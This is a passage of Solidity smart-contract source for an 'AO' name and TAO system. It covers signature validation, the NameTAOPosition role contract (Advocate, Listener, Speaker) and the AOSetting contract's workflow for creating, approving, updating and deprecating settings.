= taos[i]; } return _taos; } /** * @dev Check whether or not the signature is valid * @param _data The signed string data * @param _nonce The signed uint256 nonce (should be TAO's current nonce + 1) * @param _validateAddress The ETH address to be validated (optional) * @param _name The Name of the TAO * @param _signatureV The V part of the signature * @param _signatureR The R part of the signature * @param _signatureS The S part of the signature * @return true if valid. false otherwise * @return The name of the Name that created the signature * @return The Position of the Name that created the signature. * 0 == unknown. 1 == Advocate. 2 == Listener. 3 == Speaker */ function validateTAOSignature( string _data, uint256 _nonce, address _validateAddress, string _name, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS ) public isTAO(_getTAOIdByName(_name)) view returns (bool, string, uint256) { address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS); if (_isTAOSignatureAddressValid(_validateAddress, _signatureAddress, _getTAOIdByName(_name), _nonce)) { return (true, Name(_nameFactory.ethAddressToNameId(_signatureAddress)).name(), _nameTAOPosition.determinePosition(_signatureAddress, _getTAOIdByName(_name))); } else { return (false, "", 0); } } /***** INTERNAL METHOD *****/ /** * @dev Check whether or not the address recovered from the signature is valid * @param _validateAddress The ETH address to be validated (optional) * @param _signatureAddress The address recovered from the signature * @param _taoId The ID of the TAO * @param _nonce The signed uint256 nonce * @return true if valid. false otherwise */ function _isTAOSignatureAddressValid( address _validateAddress, address _signatureAddress, address _taoId, uint256 _nonce ) internal view returns (bool) { if (_validateAddress != address(0)) { return (_nonce == nonces[_taoId].add(1) && _signatureAddress == _validateAddress && _nameTAOPosition.senderIsPosition(_validateAddress, _taoId) ); } else { return ( _nonce == nonces[_taoId].add(1) && _nameTAOPosition.senderIsPosition(_signatureAddress, _taoId) ); } } /** * @dev Internal function to get the TAO Id by name * @param _name The name of the TAO * @return the TAO ID */ function _getTAOIdByName(string _name) internal view returns (address) { return _nameTAOLookup.getAddressByName(_name); } /** * @dev Get setting variables * @return createChildTAOMinLogos The minimum required Logos to create a TAO */ function _getSettingVariables() internal view returns (uint256) { (uint256 createChildTAOMinLogos,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'createChildTAOMinLogos'); return createChildTAOMinLogos; } } /** * @title NameTAOPosition */ contract NameTAOPosition is TheAO { address public nameFactoryAddress; address public taoFactoryAddress; NameFactory internal _nameFactory; TAOFactory internal _taoFactory; struct Position { address advocateId; address listenerId; address speakerId; bool created; } mapping (address => Position) internal positions; // Event to be broadcasted to public when current Advocate of TAO sets New Advocate event SetAdvocate(address indexed taoId, address oldAdvocateId, address newAdvocateId, uint256 nonce); // Event to be broadcasted to public when current Advocate of Name/TAO sets New Listener event SetListener(address indexed taoId, address oldListenerId, address newListenerId, uint256 nonce); // Event to be broadcasted to public when current Advocate of Name/TAO sets New Speaker event SetSpeaker(address indexed taoId, address oldSpeakerId, address newSpeakerId, uint256 nonce); /** * @dev Constructor function */ constructor(address _nameFactoryAddress) public { nameFactoryAddress = _nameFactoryAddress; _nameFactory = NameFactory(_nameFactoryAddress); nameTAOPositionAddress = address(this); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress); _; } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if `_id` is a Name or a TAO */ modifier isNameOrTAO(address _id) { require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id)); _; } /** * @dev Check is msg.sender address is a Name */ modifier senderIsName() { require (_nameFactory.ethAddressToNameId(msg.sender) != address(0)); _; } /** * @dev Check if msg.sender is the current advocate of a Name/TAO ID */ modifier onlyAdvocate(address _id) { require (senderIsAdvocate(msg.sender, _id)); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the taoFactoryAddress Address * @param _taoFactoryAddress The address of TAOFactory */ function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO { require (_taoFactoryAddress != address(0)); taoFactoryAddress = _taoFactoryAddress; _taoFactory = TAOFactory(_taoFactoryAddress); } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a Name/TAO ID exist in the list * @param _id The ID to be checked * @return true if yes, false otherwise */ function isExist(address _id) public view returns (bool) { return positions[_id].created; } /** * @dev Check whether or not eth address is advocate of _id * @param _sender The eth address to check * @param _id The ID to be checked * @return true if yes, false otherwise */ function senderIsAdvocate(address _sender, address _id) public view returns (bool) { return (positions[_id].created && positions[_id].advocateId == _nameFactory.ethAddressToNameId(_sender)); } /** * @dev Check whether or not eth address is either Advocate/Listener/Speaker of _id * @param _sender The eth address to check * @param _id The ID to be checked * @return true if yes, false otherwise */ function senderIsPosition(address _sender, address _id) public view returns (bool) { address _nameId = _nameFactory.ethAddressToNameId(_sender); if (_nameId == address(0)) { return false; } else { return (positions[_id].created && (positions[_id].advocateId == _nameId || positions[_id].listenerId == _nameId || positions[_id].speakerId == _nameId ) ); } } /** * @dev Check whether or not _nameId is advocate of _id * @param _nameId The name ID to be checked * @param _id The ID to be checked * @return true if yes, false otherwise */ function nameIsAdvocate(address _nameId, address _id) public view returns (bool) { return (positions[_id].created && positions[_id].advocateId == _nameId); } /** * @dev Determine whether or not `_sender` is Advocate/Listener/Speaker of the Name/TAO * @param _sender The ETH address that to check * @param _id The ID of the Name/TAO * @return 1 if Advocate. 2 if Listener. 3 if Speaker */ function determinePosition(address _sender, address _id) public view returns (uint256) { require (senderIsPosition(_sender, _id)); Position memory _position = positions[_id]; address _nameId = _nameFactory.ethAddressToNameId(_sender); if (_nameId == _position.advocateId) { return 1; } else if (_nameId == _position.listenerId) { return 2; } else { return 3; } } /** * @dev Add Position for a Name/TAO * @param _id The ID of the Name/TAO * @param _advocateId The Advocate ID of the Name/TAO * @param _listenerId The Listener ID of the Name/TAO * @param _speakerId The Speaker ID of the Name/TAO * @return true on success */ function add(address _id, address _advocateId, address _listenerId, address _speakerId) public isNameOrTAO(_id) isName(_advocateId) isNameOrTAO(_listenerId) isNameOrTAO(_speakerId) onlyFactory returns (bool) { require (!isExist(_id)); Position storage _position = positions[_id]; _position.advocateId = _advocateId; _position.listenerId = _listenerId; _position.speakerId = _speakerId; _position.created = true; return true; } /** * @dev Get Name/TAO's Position info * @param _id The ID of the Name/TAO * @return the Advocate ID of Name/TAO * @return the Listener ID of Name/TAO * @return the Speaker ID of Name/TAO */ function getPositionById(address _id) public view returns (address, address, address) { require (isExist(_id)); Position memory _position = positions[_id]; return ( _position.advocateId, _position.listenerId, _position.speakerId ); } /** * @dev Get Name/TAO's Advocate * @param _id The ID of the Name/TAO * @return the Advocate ID of Name/TAO */ function getAdvocate(address _id) public view returns (address) { require (isExist(_id)); Position memory _position = positions[_id]; return _position.advocateId; } /** * @dev Get Name/TAO's Listener * @param _id The ID of the Name/TAO * @return the Listener ID of Name/TAO */ function getListener(address _id) public view returns (address) { require (isExist(_id)); Position memory _position = positions[_id]; return _position.listenerId; } /** * @dev Get Name/TAO's Speaker * @param _id The ID of the Name/TAO * @return the Speaker ID of Name/TAO */ function getSpeaker(address _id) public view returns (address) { require (isExist(_id)); Position memory _position = positions[_id]; return _position.speakerId; } /** * @dev Set Advocate for a TAO * @param _taoId The ID of the TAO * @param _newAdvocateId The new advocate ID to be set */ function setAdvocate(address _taoId, address _newAdvocateId) public isTAO(_taoId) isName(_newAdvocateId) senderIsName() onlyAdvocate(_taoId) { Position storage _position = positions[_taoId]; address _currentAdvocateId = _position.advocateId; _position.advocateId = _newAdvocateId; uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); emit SetAdvocate(_taoId, _currentAdvocateId, _position.advocateId, _nonce); } /** * @dev Set Listener for a Name/TAO * @param _id The ID of the Name/TAO * @param _newListenerId The new listener ID to be set */ function setListener(address _id, address _newListenerId) public isNameOrTAO(_id) isNameOrTAO(_newListenerId) senderIsName() onlyAdvocate(_id) { // If _id is a Name, then new Listener can only be a Name // If _id is a TAO, then new Listener can be a TAO/Name bool _isName = false; if (AOLibrary.isName(_id)) { _isName = true; require (AOLibrary.isName(_newListenerId)); } Position storage _position = positions[_id]; address _currentListenerId = _position.listenerId; _position.listenerId = _newListenerId; if (_isName) { uint256 _nonce = _nameFactory.incrementNonce(_id); } else { _nonce = _taoFactory.incrementNonce(_id); } emit SetListener(_id, _currentListenerId, _position.listenerId, _nonce); } /** * @dev Set Speaker for a Name/TAO * @param _id The ID of the Name/TAO * @param _newSpeakerId The new speaker ID to be set */ function setSpeaker(address _id, address _newSpeakerId) public isNameOrTAO(_id) isNameOrTAO(_newSpeakerId) senderIsName() onlyAdvocate(_id) { // If _id is a Name, then new Speaker can only be a Name // If _id is a TAO, then new Speaker can be a TAO/Name bool _isName = false; if (AOLibrary.isName(_id)) { _isName = true; require (AOLibrary.isName(_newSpeakerId)); } Position storage _position = positions[_id]; address _currentSpeakerId = _position.speakerId; _position.speakerId = _newSpeakerId; if (_isName) { uint256 _nonce = _nameFactory.incrementNonce(_id); } else { _nonce = _taoFactory.incrementNonce(_id); } emit SetSpeaker(_id, _currentSpeakerId, _position.speakerId, _nonce); } } /** * @title AOSetting * * This contract stores all AO setting variables */ contract AOSetting { address public aoSettingAttributeAddress; address public aoUintSettingAddress; address public aoBoolSettingAddress; address public aoAddressSettingAddress; address public aoBytesSettingAddress; address public aoStringSettingAddress; NameFactory internal _nameFactory; NameTAOPosition internal _nameTAOPosition; AOSettingAttribute internal _aoSettingAttribute; AOUintSetting internal _aoUintSetting; AOBoolSetting internal _aoBoolSetting; AOAddressSetting internal _aoAddressSetting; AOBytesSetting internal _aoBytesSetting; AOStringSetting internal _aoStringSetting; uint256 public totalSetting; /** * Mapping from associatedTAOId's setting name to Setting ID. * * Instead of concatenating the associatedTAOID and setting name to create a unique ID for lookup, * use nested mapping to achieve the same result. * * The setting's name needs to be converted to bytes32 since solidity does not support mapping by string. */ mapping (address => mapping (bytes32 => uint256)) internal nameSettingLookup; // Mapping from updateHashKey to it's settingId mapping (bytes32 => uint256) public updateHashLookup; // Event to be broadcasted to public when a setting is created and waiting for approval event SettingCreation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, string settingName, uint8 settingType, bytes32 associatedTAOSettingId, bytes32 creatorTAOSettingId); // Event to be broadcasted to public when setting creation is approved/rejected by the advocate of associatedTAOId event ApproveSettingCreation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved); // Event to be broadcasted to public when setting creation is finalized by the advocate of creatorTAOId event FinalizeSettingCreation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate); // Event to be broadcasted to public when a proposed update for a setting is created event SettingUpdate(uint256 indexed settingId, address indexed updateAdvocateNameId, address proposalTAOId); // Event to be broadcasted to public when setting update is approved/rejected by the advocate of proposalTAOId event ApproveSettingUpdate(uint256 indexed settingId, address proposalTAOId, address proposalTAOAdvocate, bool approved); // Event to be broadcasted to public when setting update is finalized by the advocate of associatedTAOId event FinalizeSettingUpdate(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate); // Event to be broadcasted to public when a setting deprecation is created and waiting for approval event SettingDeprecation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, uint256 newSettingId, address newSettingContractAddress, bytes32 associatedTAOSettingDeprecationId, bytes32 creatorTAOSettingDeprecationId); // Event to be broadcasted to public when setting deprecation is approved/rejected by the advocate of associatedTAOId event ApproveSettingDeprecation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved); // Event to be broadcasted to public when setting deprecation is finalized by the advocate of creatorTAOId event FinalizeSettingDeprecation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress, address _aoSettingAttributeAddress, address _aoUintSettingAddress, address _aoBoolSettingAddress, address _aoAddressSettingAddress, address _aoBytesSettingAddress, address _aoStringSettingAddress) public { aoSettingAttributeAddress = _aoSettingAttributeAddress; aoUintSettingAddress = _aoUintSettingAddress; aoBoolSettingAddress = _aoBoolSettingAddress; aoAddressSettingAddress = _aoAddressSettingAddress; aoBytesSettingAddress = _aoBytesSettingAddress; aoStringSettingAddress = _aoStringSettingAddress; _nameFactory = NameFactory(_nameFactoryAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); _aoSettingAttribute = AOSettingAttribute(_aoSettingAttributeAddress); _aoUintSetting = AOUintSetting(_aoUintSettingAddress); _aoBoolSetting = AOBoolSetting(_aoBoolSettingAddress); _aoAddressSetting = AOAddressSetting(_aoAddressSettingAddress); _aoBytesSetting = AOBytesSetting(_aoBytesSettingAddress); _aoStringSetting = AOStringSetting(_aoStringSettingAddress); } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_settingName` of `_associatedTAOId` is taken */ modifier settingNameNotTaken(string _settingName, address _associatedTAOId) { require (settingNameExist(_settingName, _associatedTAOId) == false); _; } /** * @dev Check if msg.sender is the current advocate of Name ID */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } /***** Public Methods *****/ /** * @dev Check whether or not a setting name of an associatedTAOId exist * @param _settingName The human-readable name of the setting * @param _associatedTAOId The taoId that the setting affects * @return true if yes. false otherwise */ function settingNameExist(string _settingName, address _associatedTAOId) public view returns (bool) { return (nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] > 0); } /** * @dev Advocate of _creatorTAOId adds a uint setting * @param _settingName The human-readable name of the setting * @param _value The uint256 value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addUintSetting(string _settingName, uint256 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoUintSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 1, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds a bool setting * @param _settingName The human-readable name of the setting * @param _value The bool value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addBoolSetting(string _settingName, bool _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoBoolSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 2, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds an address setting * @param _settingName The human-readable name of the setting * @param _value The address value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addAddressSetting(string _settingName, address _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoAddressSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 3, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds a bytes32 setting * @param _settingName The human-readable name of the setting * @param _value The bytes32 value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addBytesSetting(string _settingName, bytes32 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoBytesSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 4, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of _creatorTAOId adds a string setting * @param _settingName The human-readable name of the setting * @param _value The string value of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function addStringSetting(string _settingName, string _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) { // Update global variables totalSetting++; // Store the value as pending value _aoStringSetting.setPendingValue(totalSetting, _value); // Store setting creation data _storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 5, _settingName, _creatorTAOId, _associatedTAOId, _extraData); } /** * @dev Advocate of Setting's _associatedTAOId approves setting creation * @param _settingId The ID of the setting to approve * @param _approved Whether to approve or reject */ function approveSettingCreation(uint256 _settingId, bool _approved) public { address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.approveAdd(_settingId, _associatedTAOAdvocate, _approved)); (,,,address _associatedTAOId, string memory _settingName,,,,,) = _aoSettingAttribute.getSettingData(_settingId); if (!_approved) { // Clear the settingName from nameSettingLookup so it can be added again in the future delete nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))]; } emit ApproveSettingCreation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved); } /** * @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved * @param _settingId The ID of the setting to be finalized */ function finalizeSettingCreation(uint256 _settingId) public { address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.finalizeAdd(_settingId, _creatorTAOAdvocate)); (,,address _creatorTAOId,,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId); _movePendingToSetting(_settingId, _settingType); emit FinalizeSettingCreation(_settingId, _creatorTAOId, _creatorTAOAdvocate); } /** * @dev Advocate of Setting's _associatedTAOId submits a uint256 setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new uint256 value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateUintSetting(uint256 _settingId, uint256 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 1, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoUintSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoUintSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits a bool setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new bool value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateBoolSetting(uint256 _settingId, bool _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 2, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoBoolSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBoolSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits an address setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new address value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateAddressSetting(uint256 _settingId, address _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 3, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoAddressSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoAddressSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits a bytes32 setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new bytes32 value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateBytesSetting(uint256 _settingId, bytes32 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 4, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoBytesSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBytesSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits a string setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new string value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateStringSetting(uint256 _settingId, string _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 5, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoStringSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoStringSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's proposalTAOId approves the setting update * @param _settingId The ID of the setting to be approved * @param _approved Whether to approve or reject */ function approveSettingUpdate(uint256 _settingId, bool _approved) public { address _proposalTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); (,,, address _proposalTAOId,,,) = _aoSettingAttribute.getSettingState(_settingId); require (_aoSettingAttribute.approveUpdate(_settingId, _proposalTAOAdvocate, _approved)); emit ApproveSettingUpdate(_settingId, _proposalTAOId, _proposalTAOAdvocate, _approved); } /** * @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved * @param _settingId The ID of the setting to be finalized */ function finalizeSettingUpdate(uint256 _settingId) public { address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.finalizeUpdate(_settingId, _associatedTAOAdvocate)); (,,, address _associatedTAOId,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId); _movePendingToSetting(_settingId, _settingType); emit FinalizeSettingUpdate(_settingId, _associatedTAOId, _associatedTAOAdvocate); } /** * @dev Advocate of _creatorTAOId adds a setting deprecation * @param _settingId The ID of the setting to be deprecated * @param _newSettingId The new setting ID to route * @param _newSettingContractAddress The new setting contract address to route * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects */ function addSettingDeprecation(uint256 _settingId, uint256 _newSettingId, address _newSettingContractAddress, address _creatorTAOId, address _associatedTAOId) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) onlyAdvocate(_creatorTAOId) { (bytes32 _associatedTAOSettingDeprecationId, bytes32 _creatorTAOSettingDeprecationId) = _aoSettingAttribute.addDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress); emit SettingDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress, _associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId); } /** * @dev Advocate of SettingDeprecation's _associatedTAOId approves setting deprecation * @param _settingId The ID of the setting to approve * @param _approved Whether to approve or reject */ function approveSettingDeprecation(uint256 _settingId, bool _approved) public { address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.approveDeprecation(_settingId, _associatedTAOAdvocate, _approved)); (,,, address _associatedTAOId,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId); emit ApproveSettingDeprecation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved); } /** * @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the setting deprecation once the setting deprecation is approved * @param _settingId The ID of the setting to be finalized */ function finalizeSettingDeprecation(uint256 _settingId) public { address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.finalizeDeprecation(_settingId, _creatorTAOAdvocate)); (,, address _creatorTAOId,,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId); emit FinalizeSettingDeprecation(_settingId, _creatorTAOId, _creatorTAOAdvocate); } /** * @dev Get setting Id given an associatedTAOId and settingName * @param _associatedTAOId The ID of the AssociatedTAO * @param _settingName The name of the setting * @return the ID of the setting */ function getSettingIdByTAOName(address _associatedTAOId, string _settingName) public view returns (uint256) { return nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))]; } /** * @dev Get setting values by setting ID. * Will throw error if the setting is not exist or rejected. * @param _settingId The ID of the setting * @return the uint256 value of this setting ID * @return the bool value of this setting ID * @return the address value of this setting ID * @return the bytes32 value of this setting ID * @return the string value of this setting ID */ function getSettingValuesById(uint256 _settingId) public view returns (uint256, bool, address, bytes32, string) { require (_aoSettingAttribute.settingExist(_settingId)); _settingId = _aoSettingAttribute.getLatestSettingId(_settingId); return ( _aoUintSetting.settingValue(_settingId), _aoBoolSetting.settingValue(_settingId), _aoAddressSetting.settingValue(_settingId), _aoBytesSetting.settingValue(_settingId), _aoStringSetting.settingValue(_settingId) ); } /** * @dev Get setting values by taoId and settingName. * Will throw error if the setting is not exist or rejected. * @param _taoId The ID of the TAO * @param _settingName The name of the setting * @return the uint256 value of this setting ID * @return the bool value of this setting ID * @return the address value of this setting ID * @return the bytes32 value of this setting ID * @return the string value of this setting ID */ function getSettingValuesByTAOName(address _taoId, string _settingName) public view returns (uint256, bool, address, bytes32, string) { return getSettingValuesById(getSettingIdByTAOName(_taoId, _settingName)); } /***** Internal Method *****/ /** * @dev Store setting creation data * @param _creatorNameId The nameId that created the setting * @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string * @param _settingName The human-readable name of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function _storeSettingCreation(address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal { // Make sure _settingType is in supported list require (_settingType >= 1 && _settingType <= 5); // Store nameSettingLookup nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] = totalSetting; // Store setting data/state (bytes32 _associatedTAOSettingId, bytes32 _creatorTAOSettingId) = _aoSettingAttribute.add(totalSetting, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData); emit SettingCreation(totalSetting, _creatorNameId, _creatorTAOId, _associatedTAOId, _settingName, _settingType, _associatedTAOSettingId, _creatorTAOSettingId); } /** * @dev Move value of _settingId from pending variable to setting variable * @param _settingId The ID of the setting * @param _settingType The type of the setting */ function _movePendingToSetting(uint256 _settingId, uint8 _settingType) internal { // If settingType == uint256 if (_settingType == 1) { _aoUintSetting.movePendingToSetting(_settingId); } else if (_settingType == 2) { // Else if settingType == bool _aoBoolSetting.movePendingToSetting(_settingId); } else if (_settingType == 3) { // Else if settingType == address _aoAddressSetting.movePendingToSetting(_settingId); } else if (_settingType == 4) { // Else if settingType == bytes32 _aoBytesSetting.movePendingToSetting(_settingId); } else { // Else if settingType == string 